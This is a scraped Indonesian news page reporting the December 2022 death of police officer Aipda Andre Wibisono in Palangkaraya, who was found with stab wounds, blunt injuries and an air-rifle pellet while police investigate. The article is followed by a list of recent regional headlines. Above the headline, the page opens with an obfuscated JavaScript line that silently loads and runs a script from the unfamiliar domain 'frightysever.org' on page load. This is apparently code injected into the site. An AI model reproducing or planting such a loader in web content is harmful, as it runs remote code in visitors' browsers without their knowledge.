(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Polisi Tewas Dikeroyok di Kampung Narkoba Palangkaraya, Di Tubuhnya Bersarang Peluru Senapan Angin


KANALKALIMANTAN.COM, PALANGKARAYA – Seorang anggota polisi Aipda Andre Wibisono ditemukan tewas di kampung narkoba Jalan Rindang Banua Kompleks Puntun, Kota Palangkaraya, Kalimantan Tengah. Aipda Andre tewas diduga dikeroyok sejumlah orang dengan luka dari benda tajam dan tumpul hingga peluru senapan angin di tubuhnya.

Kabid Humas Polda Kalteng Kombes Pol Kismanto Eko Saputro mengatakan, pihaknya tengah menyelidiki kasus ini. Anggota kepolisian yang meninggal dunia pada Jumat (2/12/2022) sore, itu berdinas di Bidokkes Polda Kalteng.

“Benar yang bersangkutan anggota Polri. Dalam kasus ini kami masih melakukan penyelidikan, guna mengetahui apa penyebab dari perihal tersebut,” kata Eko kepada wartawan, Sabtu (3/12/2022).

Eko menuturkan pihaknya juga sudah telah memeriksa sejumlah saksi-saksi yang diduga mengetahui persis perkara tersebut.

 

Baca juga  : Tim Taekwondo HSU Bawa Pulang 7 Medali dari Kejurwil IV dan Kejurprov Kalsel

Pemeriksaan saksi-saksi bertujuan agar dapat mengetahui siapa pelaku yang diduga mengeroyok hingga mengakibatkan korban meninggal dunia.

“Setelah melakukan pemeriksaan saksi-saksi, anggota juga melakukan olah tempat kejadian perkara di lokasi kejadian,” ucap Eko.

Dari data yang dihimpun, seorang anggota kepolisian yang dinyatakan meninggal dunia diduga akibat dibunuh itu banyak mengalami mata luka, baik dari benda tajam maupun benda tumpul di tubuhnya.

Tidak hanya itu, di tubuh korban juga ditemukan peluru senapan angin yang bersarang.

Baca juga  : Pasutri Diduga Jual Sabu di Kusan Hilir Dibekuk Polisi

Ia dinyatakan meninggal dunia saat dilarikan warga ke Rumah Sakit Bhayangkara Palangkaraya.

Bahkan dari video beredar melalui WhatsApp yang diambil oleh warga setempat, evakuasi korban dilakukan menggunakan tandu yang didorong dengan gerobak lantaran akses jalan yang cukup menyulitkan.

Kondisi korban diduga dalam keadaan masih hidup ketika dievakuasi oleh sejumlah warga.

Korban ketika itu meminta tolong saat tercebur di rawa lokasi permukiman warga. Kini polisi tengah melakukan penyelidikan serta penyisiran di lokasi kejadian.

Baca juga  : Syahwat Setelah Nonton Film Dewasa, Lelaki 33 Tahun di Beruntung Baru Cabuli Anak Tiri

Sementara itu, Direktur Reserse Kriminal Umum Polda Kalteng Kombes Pol Faisal Napitupulu juga membenarkan terkait peristiwa tersebut. Pihaknya kini juga sedang melakukan penyelidikan, guna mengungkap motif dari peristiwa tersebut.

“Kasus ini masih dalam penyelidikan,” tegas Faisal kepada wartawan. (Suara.com)

Editor : kk


Desy Arfianty

Recent Posts

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

1 jam ago

Ikmaban Salurkan Bantuan Banjir di Desa Pejambuan

KANALKALIMANTAN.COM, MARTAPURA - Ikatan Mahasiswa Banjarmasin (Ikmaban) menyalurkan bantuan kepada warga terdampak banjir di Desa… Read More

8 jam ago

Pemko Banjarmasin Janjikan Normalisasi Aliran Sungai Gampa

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob atau banjir pasang pesisir yang melanda kawasan Sungai Gampa, Kelurahan… Read More

10 jam ago

Gubernur Muhidin Instruksikan Semua SKPD Kirim Bantuan Korban Banjir

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel), H Muhidin, instruksikan seluruh Kepala Satuan Kerja Perangkat… Read More

11 jam ago

Banjir Rob di Tanjung Pagar 45 KK Terdampak

KANALKALIMANTAN.COM, BANJARMASIN — Banjir yang menggenangi Jalan Kelayan Besar, RT 04, Kelurahan Tanjung Pagar, Kecamatan… Read More

11 jam ago

Peringatan Isra Mikraj di PTAM Intan Banjar Diisi Tausiah oleh Habib Syauqi

KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More

1 hari ago

This website uses cookies.